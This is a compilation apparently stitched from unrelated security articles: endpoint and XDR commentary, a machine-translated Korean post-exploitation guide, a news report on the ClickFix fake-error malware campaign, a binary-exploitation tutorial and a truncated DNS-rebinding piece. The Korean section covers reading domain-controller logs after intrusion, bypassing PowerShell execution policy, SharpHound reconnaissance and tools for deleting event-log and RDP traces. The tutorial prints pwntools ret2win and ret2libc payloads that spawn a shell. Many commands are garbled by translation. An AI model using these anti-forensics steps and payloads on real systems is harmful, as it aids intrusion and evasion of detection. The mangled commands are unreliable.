CISO們表示,常常發現端點上安裝過多的代理,以至於從安全的角度來看無法運作,軟件衝突使得端點更容易受到攻擊,因而它們更難遠程管理,可能會削弱性能。

Absolute Software公司的《2023年弹性指数》 使用了其5億個端點設備的匿名遙測數據,以了解其客戶平均擁有多少個端點。結果發現,典型的企業設備安裝了11個安全代理,其中2.5個用於端點管理,2.1個用於反病毒/反惡意軟件,平均1.6個用於加密。 Absolute的設備遙測數據發現,企業設備上平均安裝了67個應用程序,其中10%的設備安裝了100多個應用程序。

端點補丁管理自動化一家製造商的CIO告訴外媒,雖然打補丁的工作一直是重中之重,但自己沒有足夠多的員工來確保所有補丁都是最新版本。 CISO的同事們一致認為,補丁管理只有在緊急情況下才會得到關注,即在遭到入侵或破壞之後。

這個結論與Ivanti公司的《2023年安全准备状况报告》 相一致,Ivanti發現,在61%的時間裡,外部事件、入侵企圖或洩密重新啟動補丁管理工作。

Mukkamala告訴外媒,他預計補丁管理會變得更加自動化,人工智能助理會提供更多的上下文信息和更高的預測準確性。

2.png

圖2. 圖片來源:Ivanti

Ivanti的漏洞風險評級(VRR)評分方法依賴0到10之間的分配分數,該分數表明漏洞對組織或企業的風險。風險越高,VRR就越高。

AI通過自癒合端點增強XDR彈性在零信任環境下做好網絡彈性從端點入手。董事會和向董事會匯報的CISO表示,網絡彈性現在被認為是風險管理的必備條件。 Absolute Software的《2023年弹性指数》 反映了在遵守合規要求才能連接這個趨勢下面臨的挑戰。平衡網絡安全和網絡彈性是目標。

CISO們表示,自癒合端點是穩固的網絡彈性戰略的基石。自癒合端點提供可靠的實時遙測數據流來訓練人工智能和機器學習模型,並夯實XDR平台。與上一代基於約束和規則的解決方案相比,它們還更難以逃避和破壞。基於人工智能和機器學習的端點可以在短短幾毫秒內檢測並應對潛在的攻擊,鑑於機器對機器攻擊迅速增多,這麼快的響應時間對如今的企業來說是基本要求。

領先的自癒合端點供應商包括Absolute Software、Akamai、BlackBerry、CrowdStrike、思科、Malwarebytes、邁克菲和Microsoft 365。有媒體採訪了每家供應商的客戶,發現Absolute的方法嵌入到超過5億個端點設備的固件中,為SOC團隊提供他們及其XDR平台所需的實時遙測數據方面是最可靠的。

XDR:對抗武器化人工智能的首道防線如果網絡安全行業及其服務的許多組織要保持安全,XDR平台就需要加快步伐,充分發揮人工智能和機器學習技術的全部價值這一挑戰。人工智能戰爭誰也輸不起,攻擊者將身份和端點方面的缺口視為控製網絡和基礎設施的機會。

最令人不安的是,傳統的基於邊界的系統假定對每個身份、端點和連接都有無限的信任,一旦攻擊者闖入了端點,就可以不受限制地訪問任何系統。

做好XDR需要從端點入手。清理代理散亂問題將有助於提高端點可見性和性能,並使用具有學習能力的人工智能和機器學習技術實現補丁管理自動化,而不是等待下一次安全事件發生,這會讓IT團隊避免攻防演習和浪費的時間。

自癒合端點是網絡彈性的基石。夯實這方面是充分利用XDR架構的先決條件,而XDR架構可以發揮其保護組織核心業務功能和客戶的潛力。

도메인의 로그는 일반적으로 .evtx로 끝나므로 DIR 명령을 사용하려면 도메인의 로그를 검색해야합니다.

dir/s/b *.evtx

/s : 하위 디렉터를 포함한 재귀 검색을 의미합니다.

/b : 결과가 간결한 모드로 표시되며 다른 정보없이 파일 경로 만 표시됩니다.

여기서 우리는 로그 패러 도구를 직접 사용하여 도메인의 로그 정보를 내보낼 수 있습니다. (도메인 제어 호스트에서)

LogparSer 도구는 필터링을 위해 SQL 쿼리 메소드를 사용합니다.

다음 지침을 사용하여 문자열 열 및 EventId 열을 통해 도메인에서 사용자의 로그인 동작을 필터링하십시오.

logparser.exe -i:evt -o:csv 'select recordnumber, timewritten, eventid, strings, c: \ log5.csv incertid='4624 '및 문자열'%| kerberos |%|%.%.%'및 strings'%|%|%|%|%'' ''

-i: 입력 파일 유형 -O: 출력 파일 유형

정상 도메인 침투 중에 도메인 제어를 직접 가져 와서 도메인 제어 호스트에서 작동하여 로그를 내보내십시오. 일반적으로 분석을 위해 도메인 제어 로그 또는 지정된 멤버 호스트의 로그를 내보내는 것은 비현실적입니다. 1. VPN 방법; 2. 양말 터널을 건설하십시오. 3. 원격 트로이 목마 방법을 구축하십시오.

query logs vpn

일반적으로 대상 호스트를 VPN을 통해 연결하고 작동을 위해 인트라넷 환경에 들어갑니다.

여기서 도메인 관리 계정이 얻어졌으며 도메인 관리 자격 증명을 통해 내보내기 로그 분석이 수행된다고 가정합니다.

1. 호스트의 로그인 레코드를 쿼리하십시오

먼저 도메인 제어의 로그 저장 위치 획득

dir /s /b \\ 10.10.10.10 \ c $ \ security.evtx

도메인 제어 로그 파일은 사본 명령을 통해 로컬로 복사 할 수 있습니다.

복사 \\ 10.10.10.10 \ c $ \ windows \ system32 \ Winevt \ logs \ C: \ Users \ Admins \ Desktop \ log

로그 파일은 숨겨진 파일이므로 로그 파서를 통해 모든 .evtx 파일을 직접 내보낼 수 없습니다 (검색 할 수 없음)

그러나 로그 파서를 사용하여 부분적인 로그를 원격으로 내보낼 수 있습니다.

logparser.exe -i:evt -o:csv 'select * in in c: \ 1.csv \\ remoteserver \ security'

logparser.exe -i:evt -o:csv 'select * in in c: \ 1.csv from \\ 10.10.10.10 \ security'

2. 연결 중에 로그의 흔적을 쿼리하십시오

로그 추적을 쿼리 할 때 먼저이 로그인에 사용 된 인증 방법을 이해해야합니다. Windows는 기본적으로 NTML 인증을 사용하고 Kerberos 인증은 도메인 네트워크에서 사용됩니다. 간단히 말해서 NTLM은 호스트와 호스트 간의 직접적인 대화식 인증이며 Kerberos는 제 3 자 (도메인 제어)에 의해 인증됩니다.

도메인 제어는 도메인 내 호스트 및 도메인 계정에만 자격 증명 만 발행합니다. 따라서 원격 호스트 포지셔닝에 IP를 사용하면 NTLM 인증이 사용되며 포지셔닝에 도메인 이름 또는 기계 이름을 사용하면 Kerberos 인증이 사용됩니다.

순 사용을 사용하여 원격 공유에 연결하는 프로세스도 로그인 프로세스입니다. 따라서 로그인이있는 한 로그에 반영됩니다.

Dir 및 Host를 사용하여 직접 로그인하는 것도 마찬가지입니다.

로그 쿼리 분석에 따르면 호스트는 Kerberos 인증을 사용하여 직접 로그를 발견했습니다. DIR 및 NET 사용을 사용하는 경우 원격 호스트가 IP 인 경우 NTLM 인증입니다. 반대로, 도메인 이름 또는 기계 이름이 포지셔닝에 사용되면 포지셔닝을위한 Kerberos입니다.

멤버 호스트 네트워크 연결 연결 도메인 제어 호스트

NTLM 인증 패킷

순 사용 \\ 10.10.10.10 \ IPC $

지침을 통해이 명령어의 로그인이 NTLM 인증이어야한다는 것을 알 수 있습니다.

여러 테스트 후, 멤버 호스트가 위의 명령문을 사용하여 도메인 제어 호스트에 연결하는 경우 다음 레코드가 도메인 제어 호스트에 남아 있습니다.

첫 번째 패키지는 도메인 컨트롤 호스트에 연결하는 계정을 확인하기위한 자격 증명입니다.

두 번째 패키지는 연결에 권한을 할당하는 것입니다.

세 번째 패키지는 성공적인 로그인이있는 데이터 패키지입니다.

세 번째 패키지에서는 IP 주소, 기계 이름 및 멤버 호스트의 기타 정보를 볼 수 있습니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 | Admins | vvvv1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {{0000000-0000-0000-00000-0000000000} |-| ntlm V1 | 128 |0x0 |-| 10.10.10.3 | 1280 | %% 1833 |-|-| %% 1843 |0x0 | %% 1842

따라서 세 번째 성공적인 로그인 데이터 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순 사용을 통해 로그에서 도메인 제어의 호스트 정보를 얻을 수 있습니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

문자열 필드를 통해 도메인 컨트롤에 연결된 호스트의 IP 및 호스트 이름을 볼 수 있습니다.

Kerberos 인증 패킷

순 사용 \\ ad-2016 \ IPC $

여러 테스트 후, 위의 명령문을 사용하여 멤버 호스트가 도메인 제어 호스트에 연결되고 Kerberos 인증을 사용하면 도메인 제어 호스트에 다음 레코드가 남게됩니다.

따라서 5 번째 성공적인 로그인 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순이 사용을 통해 로그에서 도메인 컨트롤의 호스트 정보를 얻기 위해 필터링 규칙을 수정하면됩니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-500 | 관리자 | vvvv1.com |0x7c3dbeb9 | 3 | Kerberos | k Erberos || {CE15C23A-E7E3-3FC1-4A75-FDF339BEC822} |-|-|-|0x0 |-| 10.10.10.12 | 50364 | %% 1840 |-|-|-|-| %% 1843 |0x0 | %% 1842

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

문자열 필드를 통해 도메인 제어에 연결된 호스트의 IP와 계정을 볼 수 있습니다.

멤버 호스트 DIR는 도메인 제어 호스트에 연결합니다

NTLM 인증 패킷

dir \\ 10.10.10.10 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

Kerberos 인증 패킷

dir \\ ad-2016 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

멤버 호스트 연결 멤버 호스트

dir \\ 10.10.10.10 \ c $

dir \\ web-2003 \ c $

첫 번째 방법, 즉 NTLM 인증 방법은이 로그 추적을 도메인 제어 호스트의 로그에만 두는 것입니다.이 로그는 거의 쓸모가 없으며 주요 추적은 연결된 호스트의 로그에 반영됩니다.

Kerberos 인증 방법 인 두 번째 방법은 도메인 제어 호스트에 두 개의 로그를 남깁니다 : 요청 tgt 및 요청 st log.

로그 검색 프로세스도 위와 유사하므로 여기서는 설명하지 않습니다.

멤버 호스트 자체로 로그인

도메인의 사용자 계정으로 로그인하는 사용자 만 도메인 제어 호스트에 흔적이 남습니다. 로컬 계정으로 로그인하면 컴퓨터 로그에만 반영됩니다.

도메인 내의 사용자를 사용하여 로그인하는 경우 도메인 컨트롤은 위의 Kerberos 인증 패킷과 동일한 인증을 위해 Kerberos를 사용하는 것입니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

양말 프록시를 통한 쿼리 로그

일반적으로 경계 호스트를 중단 할 때 양말 터널을 만들고 지역 호스트 에이전트를 인트라넷으로 가져 오기 위해 작동합니다.

먼저 해시 전달을 사용하여 외부 도메인 호스트에 충분한 권한이 있는지 확인하십시오.

테스트 후 해시 통과 작업은 도메인 제어 및 양말 터널 클라이언트 호스트에서 로그 트레이스를 생성하지 않습니다.

1. 호스트의 로그인 레코드를 쿼리하십시오

지침 및 운영은 VPN과 동일합니다.

2. 연결 중에 로그의 흔적을 쿼리하십시오

원격 호스트 네트워크 연결 연결 도메인 제어 호스트

Proxifier 프록시 도구는 양말 환경에서 DNS 프록시를 수정할 수 없으므로 도메인 이름과 기계 이름을 올바르게 해결할 수 없기 때문입니다. 따라서 IP 작업 만 사용하고 NTLM 인증을 사용할 수 있습니다.

NTLM 인증 패킷

순 사용 \\ 10.10.10.10 \ IPC $

지침을 통해이 명령어의 로그인이 NTLM 인증이어야한다는 것을 알 수 있습니다.

여러 테스트 후, 멤버 호스트가 위의 명령문을 사용하여 도메인 제어 호스트에 연결하는 경우 다음 레코드가 도메인 제어 호스트에 남아 있습니다.

첫 번째 패키지는 도메인 컨트롤 호스트에 연결하는 계정을 확인하기위한 자격 증명입니다.

두 번째 패키지는 연결에 권한을 할당하는 것입니다.

세 번째 패키지는 성공적인 로그인이있는 데이터 패키지입니다.

세 번째 패키지에서는 IP 주소, 기계 이름 및 멤버 호스트의 기타 정보를 볼 수 있습니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 | Admins | vvvv1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {{0000000-0000-0000-00000-0000000000} |-| ntlm V1 | 128 |0x0 |-| 10.10.10.3 | 1280 | %% 1833 |-|-| %% 1843 |0x0 | %% 1842

따라서 세 번째 성공적인 로그인 데이터 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순 사용을 통해 로그에서 도메인 제어의 호스트 정보를 얻을 수 있습니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

문자열 필드를 통해 도메인 컨트롤에 연결된 호스트의 IP 및 호스트 이름을 볼 수 있습니다.

도메인 제어 호스트에 대한 원격 DIR 연결

NTLM 인증 패킷

Proxifier 프록시 도구는 양말 환경에서 DNS 프록시를 수정할 수 없으므로 도메인 이름과 기계 이름을 올바르게 해결할 수 없기 때문입니다. 따라서 IP 작업 만 사용하고 NTLM 인증을 사용할 수 있습니다.

dir \\ 10.10.10.10 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

원격 호스트는 멤버 호스트에 연결합니다

dir \\ 10.10.10.10 \ c $

두 방법 모두이 로그 추적을 도메인 제어 호스트의 로그에 남겨 두는 것을 의미하며, 이는 거의 쓸모가 없으며 주요 추적은 연결된 호스트의 로그에 반영됩니다.

로그 검색 프로세스도 위와 유사하므로 여기서는 설명하지 않습니다.

PowerShell log

PowerShell 로그는 일반적으로 시스템 로그에 직접 작성됩니다.

그러나 정상 구성에서 PowerShell은 실행의 명령 로그를 저장하지 않지만 PowerShell Open Command (ID:600) 및 PowerShell Close 명령 (ID:403) 만 저장합니다.

따라서 침투 과정에서 대화식 쉘을 얻으면 먼저 PowerShell을 열고 명령을 실행할 수 있습니다. 그러면 로그는 PowerShell을 열도록 명령 만 기록하며 PowerShell 터미널에서 실행 된 명령의 기록을 저장하지 않습니다.

그러나 침투 과정에서 웹 쉘, 즉 반 인터랙티브 명령 창이 발생하면 명령을 하나의 문으로 만 요약 할 수 있으며 명령은 로그에 기록됩니다.

PowerShell 스크립트 사용

PowerShell 스크립트를 사용하여 명령을 실행하면 먼저 명령을 실행해야합니다.

PowerShell -ExecutionPolicy 바이 패스

PowerShell 실행 정책을 우회하는 데 사용됩니다. PowerShell은 기본적으로 실행 정책을 활성화하여 스크립트 실행 권한을 제한합니다.

실행 정책은 스크립트 파일을 실행할 수 있는지 여부를 제어하고 신뢰할 수없는 소스에서 스크립트를 제어하는 보안 메커니즘입니다. 기본적으로 PowerShell의 실행 정책은 '제한적'으로 설정되어 있으므로 스크립트 파일을 실행할 수 없습니다.

PowerShell 명령 줄에 'PowerShell -ExecutionPolicy Bypass'를 사용하면 실행 정책 제한을 우회하고 스크립트 파일이 허용됩니다. 이렇게하면 실행 정책을 일시적으로 변경하여 모든 스크립트를 실행할 수 있습니다.

PS1 스크립트가 가져 오려고하는 경우 Sharphound.ps1

import-module ./sharphound.ps1

현재 Sharphound 모듈이 현재 세션에로드되었습니다.

현재 세션에서로드 된 모든 모듈을보십시오

모듈을 얻으십시오

Sharphound 모듈에서 모든 명령 목록 얻기

get -command -module sharphound

Sharphound 사용 도움말을 확인하십시오

get-help sharphound

Get-Help invoke-bloodhound-

로그 삭제

당신이 관통하는 환경에 있으면 모든 로그를 삭제하면 우리의 흔적을 덮을뿐만 아니라 대신 흔적을 더 명확하게 만들 것입니다.

따라서 단일 로그를 삭제하는 방법 만 사용할 수 있지만 Windows는이를 제공하지 않거나 단일 로그를 삭제하는 것이 허용되지 않으므로 다른 방법 만 사용할 수 있습니다.

도구 사용 : https://github.com/3gstudent/eventlogedit-evtx- evolution

단일 로그 삭제 원칙 : https://3gstudent.github.io/windows-xml-event-log-(evtx)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97% E6%B8%85%E9%99%A4-%E4%B8%80-%E5%88%A0%E9%99%A4%E6%80%9D%E8%B7%AF%E4%B8%8E%AE%9E%E4%BE%8B

https://github.com/qax-a-team/eventcleaner

RDP 로그인 추적

지우기

https://blog.csdn.net/m0_37552052/article/details/82894963

https://blog.csdn.net/coco56/article/details/102671007#:~333333333333333333333333333333333333333333333333333333333333333333:Text=Win10%E7%B3%BB%E7%BB%9f%E6%8E4%E4%B9%B9%8899a0%9999%. 99%A4%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%a5%AE%B0%E5%BD%95%20%20%20%8C%89WIN%2BR E9%Ae%ae%ae%ae%e6%89 BC%80%E8%BF%90%E8%A1%8C%EF%BC%8C%E8%BE%93%e5%85%A5%20 리게디%20%20%E5%B9%B6%E7%A1%AE%E5%AE%9A%e3%80%202,%E5%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9. C%B0%E5%9d%80%e6%A0%8f%E4%B8%AD%E8%BE%93%E5%85%A5%E4%BB%A5%E4 비 5%8d%B3%e5%8f%AF%a8%bf%9b%e8%a1%8c%e7%9c%8b%e5%88%b0%e6%89%80 %e6%9c%89%e7%9a%84%e5%b7%b2%e8%bf%9e%e6%8e%a5%e8%bf%87%e7%9a% 84%E7%94%B5%E8%84%91%E3%80%82%20%E8%AE%AE%A1%E7%AE%97%E6%9C%BA%5CHKEY_CURRENT_USER%5CSOFTWARE%5CMICROSOFT%5CTerminal%20Server% 20Client%5cdefault%201%203%20%E5%8f%B3%E9%94%AE%E7%82%B9%E5%87%BB%E9%9c%80%e8%A6%81%e7%AE%A1%E7%90%86%e7%9A%84%ae%B0%e5 %BD%95%E9%A1%B9%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BF%AE%E6%94%B9% E6%88%96%E8%80%85%E5%88%A0%E9%99%A4%E6%AD%A4%E9%A1%B9%E3%80%82

https://blog.csdn.net/travelnight/article/details/122854895

이벤트 ID : 1149 : RDP를 사용하여 소스 IP가 로컬 컴퓨터에 성공적으로 로그인 한 레코드. 등록 :hkey_current_user \ Software \ Microsoft \ 터미널 서버 클라이언트 \ 서버 \

이 경로는 현재 호스트가 로그인 한 서버를 기록합니다. 이벤트 ID : 5156 로그 : 기계가 다른 서버의 포트 3389에 액세스했는지 확인할 수 있습니다. 4624 —— 계정은 성공적으로 로그인했습니다

4625 —— 계정을 로그인 할 수 없습니다

1149 —— 사용자 인증이 성공했습니다

원래 링크 주소에서 재 인쇄 : https://forum.butian.net/share/3657

一項新的惡意軟件分發活動正使用虛假的Google Chrome、Word 和OneDrive 錯誤誘騙用戶運行安裝惡意軟件的惡意PowerShell“修復程序”。

據觀察,這項新活動被多個惡意分子使用,包括ClearFake 背後的惡意分子、一個名為ClickFix 的新攻擊集群,以及TA571 威脅者,後者以垃圾郵件分發者的身份運作,發送大量電子郵件,導致惡意軟件和勒索軟件感染。

此前的ClearFake 攻擊利用網站覆蓋層,提示訪問者安裝虛假的瀏覽器更新,進而安裝惡意軟件。

威脅者還在新的攻擊中使用HTML 附件和受感染網站中的JavaScript。但是,現在覆蓋層會顯示虛假的Google Chrome、Microsoft Word 和OneDrive 錯誤。這些錯誤會提示訪問者單擊按鈕將PowerShell“修復”複製到剪貼板,然後在“運行:”對話框或PowerShell 提示符中粘貼並運行它。

ProofPoint 的一份新報告稱:“儘管攻擊鏈需要大量用戶交互才能成功,但社會工程學可以同時向人們呈現看似真實的問題和解決方案,這可能會促使用戶在不考慮風險的情況下採取行動。”

Proofpoint 發現的有效載荷包括DarkGate、Matanbuchus、NetSupport、Amadey Loader、XMRig、剪貼板劫持程序和Lumma Stealer。

PowerShell“修復”導致惡意軟件Proofpoint 分析師觀察到三條攻擊鏈,它們的區別主要在於初始階段,只有第一條攻擊鏈不能高度可信地歸因於TA571。

在第一個案例中,與ClearFake 背後的惡意分子有關,用戶訪問一個受感染的網站,該網站通過幣安的智能鏈合約加載託管在區塊鏈上的惡意腳本。

該腳本執行一些檢查並顯示虛假的Google Chrome 警告,指出顯示網頁時出現問題。然後,對話框提示訪問者通過將PowerShell 腳本複製到Windows 剪貼板並在Windows PowerShell(管理)控制台中運行該腳本來安裝“根證書”。

clickfix.webp.png

偽造的Google Chrome 錯誤

當執行PowerShell 腳本時,它將執行各種步驟來確認設備是有效目標,然後它將下載其他有效負載,如下所述:

马云惹不起马云刷新DNS 緩存;

马云惹不起马云刪除剪貼板內容;

马云惹不起马云顯示誘餌消息;

马云惹不起马云下載另一個遠程PowerShell 腳本,該腳本在下載信息竊取程序之前執行反虛擬機檢查。

chain.webp.png

“ClearFake”攻擊鏈

第二條攻擊鏈與“ClickFix”活動有關,它在受感染的網站上使用注入,創建一個iframe 來覆蓋另一個虛假的Google Chrome 錯誤。用戶被指示打開“Windows PowerShell(管理員)”並粘貼提供的代碼,從而導致上述相同的感染。

最後,基於電子郵件的感染鏈使用類似於Microsoft Word 文檔的HTML 附件,提示用戶安裝“Word Online”擴展程序才能正確查看文檔。

錯誤消息提供“如何修復”和“自動修復”選項,其中“如何修復”將base64 編碼的PowerShell 命令複製到剪貼板,指示用戶將其粘貼到PowerShell 中。

“自動修復”使用search-ms 協議在遠程攻擊者控制的文件共享上顯示WebDAV 託管的“fix.msi”或“fix.vbs”文件。

doc.webp.png

偽造的Microsoft Word 錯誤會導致惡意軟件

在這種情況下,PowerShell 命令會下載並執行MSI 文件或VBS 腳本,從而分別導致Matanbuchus 或DarkGate 感染。

在所有情況下,惡意分子都利用了目標對在其係統上執行PowerShell 命令的風險缺乏認識這一事實。他們還利用了Windows 無法檢測和阻止粘貼代碼發起的惡意操作這一特點。

不同的攻擊鏈都表明TA571 正在積極嘗試多種方法,以提高效率並尋找更多感染途徑來入侵更多系統。

二進制代碼利用是發現和利用計算機程序中的漏洞以修改或乾擾其預期行為的一種方法。這些漏洞可能導致身份驗證繞過和信息洩漏,或者還可能導致遠程代碼執行情形。很大一部分二進制代碼利用發生在堆棧(stack)上,有時候發生在堆(heap)上,甚至發生在內核空間上。堆棧是存儲由函數創建的臨時變量的內存區域。相比之下,堆則是可以動態分配的內存區域。

下面介紹的所有技術都依賴用戶輸入和程序的潛在崩潰或分段錯誤——緩衝區溢出。當進程試圖用超出預期的過多數據填充一塊內存區域時,就會出現這種損壞。有鑑於此,就有可能覆蓋內存,並控制下一個指令點/函數。

接下來,我們將描述堆棧利用過程中一些最常用的技術。

ret2win我們可以將ret2win技術理解為對二進制代碼中存在的特定調用«win() function»的簡單重定向。實現這一目標的主要步驟如下:

• 找到目標函數/調用,以重定向執行流«win() function»。

• 通過覆蓋堆棧上的返回地址(比如EIP)來調用它。

下一段代碼介紹如何找到這類漏洞。在添加填充和對齊載荷之後,必須添加目標調用«win() function -0x080491c3»的偏移量,最後執行它。本文使用了用於二進制利用的CTF框架Pwntools(https://github.com/Gallopsled/pwntools),為學習過程提供便利。

frompwnimport*

p=process('./vuln_program')

payload=b'A'*52

payload+=p32(0x080491c3)#targetcall«win()function»

log.info(p.clean())

p.sendline(payload)

log.info(p.clean())有了這種技術,就可以在程序執行期間跳轉到所需的函數,從而繞過應用程序控制措施。

關於這個主題的更多細節可以在這裡找到:https://corruptedprotocol.medium.com/rop-emporium-ret2win-x86-64-44a1cacb546。

ret2libcret2libc是一種技術,其中重定向流基於到libc調用的面向返回的編程(ROP)鏈。這種方法對於繞過一些二進制代碼保護(比如NX即無執行)很重要,在Windows操作系統中又稱為數據執行預防(DEP)。

在二進制代碼被利用的操作系統上找到libc的內存區域之後,必須基於libc的基址計算一些函數(包括系統調用)的實際地址。系統調用執行作為參數傳遞的任何字符串。傳遞給系統調用的最佳字符串是“/bin/sh”,這顯然會彈出新的系統shell。

下面是表示這種探索的代碼片段。正如我們所見,libc基址高亮顯示為0x7ffff7de5000,並用於計算二進制內存區域內的system和/bin/sh字符串。

之後執行ROP鏈,它因二進制漏洞、目標操作系統、架構及其他外部變量而異。

frompwnimport*

p=process('./vuln-64')

libc_base=0x7ffff7de5000#libcbaseaddressneeded

system=libc_base+0x48e20#addressofsystemcall

binsh=libc_base+0x18a143#binshstringtopopashell

POP_RDI=0x4011cb

payload=b'A'*72#Thepadding

payload+=p64(POP_RDI)#gadget-poprdi;ret

payload+=p64(binsh)#pointertocommand:/bin/sh

payload+=p64(system)#Locationofsystem

payload+=p64(0x0)#returnpointer-notimportantoncewegettheshell

p.clean()

p.sendline(payload)

p.interactive()關於該技術的更多細節以及如何探索它,可以在這裡找到:https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc。

格式字符串格式字符串技術在每當將用戶輸入字符串作為命令來評估時都會發生。這種技術可用於執行代碼、洩漏堆棧,甚至導致分段錯誤情形。

比如說,格式字符串參數%x和%s定義了格式函數的轉換類型。針對諸如此類的輸入,可能會洩露內存部分信息,這種方法還可以與上述的ret2lic一起使用。

下表給出了經常用於這種攻擊中的一些格式函數。

1.png

看看下一段C代碼,print函數易受攻擊,因為默認情況下參數函數(%p和%s等)並未指定。因此,用戶可以在輸入中指定它,從而充分利用這個二進制利用場景。

#include

voidmain(intargc,char**argv)

{

//Thislineisvulnerable,noparameterspecified(%p,%s,etc)

printf(argv[1]);

}在使用一堆%p執行程序後,堆棧地址將被洩漏,並且可以輕鬆找到執行ret2lic方法的lib基址。

./example'HelloWorld%p%p%p%p%p%p'

=output:HelloWorld000E133E000E133E0057F000CCCCCCCCCCCCCCCCCCCCCCCC關於該技術的更多細節可以在這裡找到:https://owasp.org/www-community/attacks/Format_string_attack。

流行的二進制代碼利用技術二進制代碼利用是滲透測試界利用內存不安全程序的最先進的攻擊之一。由於二進制代碼本身、保護機制以及它如何與不同的操作系統和多種架構進行交互具有復雜性,學習起來可能令人望而生畏。

本文介紹了在Chrome、Edge和Safari中實現可靠的DNS重綁定的新技術,並討論了繞過本地網絡限制的技術。通過分析慢緩存的根本原因,提出了新的解決技術。本文研究了利用DNS重綁定在Chrome、Edge和Safari中實現瞬間DNS重綁定的攻擊技術。

本文是關於DNS重新綁定係列文章中的第二篇。第一篇文章介紹了一個使用DNS重新綁定後攻擊的案例。在這篇文章中,我介紹了在IPv6可用時在Chrome, Edge和Safari中實現可靠的,瞬間DNS重新綁定的新技術,以及一種繞過本地網絡限制的技術,該技術適用於基於Chrome的瀏覽器的獲取API。

瀏覽器中的DNS重綁定傳統上被視為攻擊者通過誘騙受害者加載惡意網站來訪問內部網絡服務的一種方式,但隨著許多現代web應用程序現在在其部分功能上驅動無頭瀏覽器,它已成為攻擊web應用程序的有用工具。無頭瀏覽器,即Headless Browser,是一種沒有界面的瀏覽器。它擁有完整的瀏覽器內核,包括JavaScript 解析引擎、渲染引擎等。與普通瀏覽器最大的不同是,無頭瀏覽器執行過程中看不到運行的界面,但是我們依然可以用GUI 測試框架的截圖功能截取它執行中的頁面。在上一篇文章中,我介紹了一個使用可能是最簡單的重新綁定方法的例子。在這種情況下,我有很長的時間讓漏洞運行,但這在許多web應用程序中不太可能,需要更快的技術。

緩慢的緩存簡單的DNS重綁定技術依賴於對相同主機名的連續查找返回不同的DNS記錄。對於這些攻擊,所花費的最小時間是瀏覽器執行兩次連續DNS查找之間的時間。這有時可以通過刷新瀏覽器緩存來加快速度,生成大量DNS查找以填充可用的緩存空間,並導致舊條目在過期之前被清除,從而使瀏覽器更快地對相同的主機名執行第二次查找。

當它工作時,它仍然需要大約10秒的時間,而且通常這種技術不會起作用,因為中間緩存不能像瀏覽器的緩存那樣容易地被清除。例如,在測試期間,我發現在一個新創建的Ubuntu EC2實例上,由於系統解析的緩存,我只能每5分鐘為同一域獲得不同的響應。在VPN上,我看到DNS響應在默認解析器上至少緩存30分鐘。讓用戶將頁面打開這麼長時間以允許攻擊者實現DNS重新綁定漏洞,通常是一件很困難的事情,更不用說將無頭瀏覽器作為web應用程序的一部分驅動了。

為了加速漏洞利用,2010年Craig Heffner提出了通過在相同響應中回復同一域的多個A記錄來執行DNS重新綁定的想法,Gerald Doussot和Roger Meyer在2019年的singularity 中使用了這種技術。 Singularity是一個開放源碼容器平台,旨在簡化、快速和安全。 Singularity 是針對EPC 和HPC 工作負載進行優化的,允許不受信任的用戶以可信的方式運行不受信任的容器。

返回的兩條記錄是攻擊者控制的公共服務器的IP地址和目標服務器的(通常是私有的)IP地址。

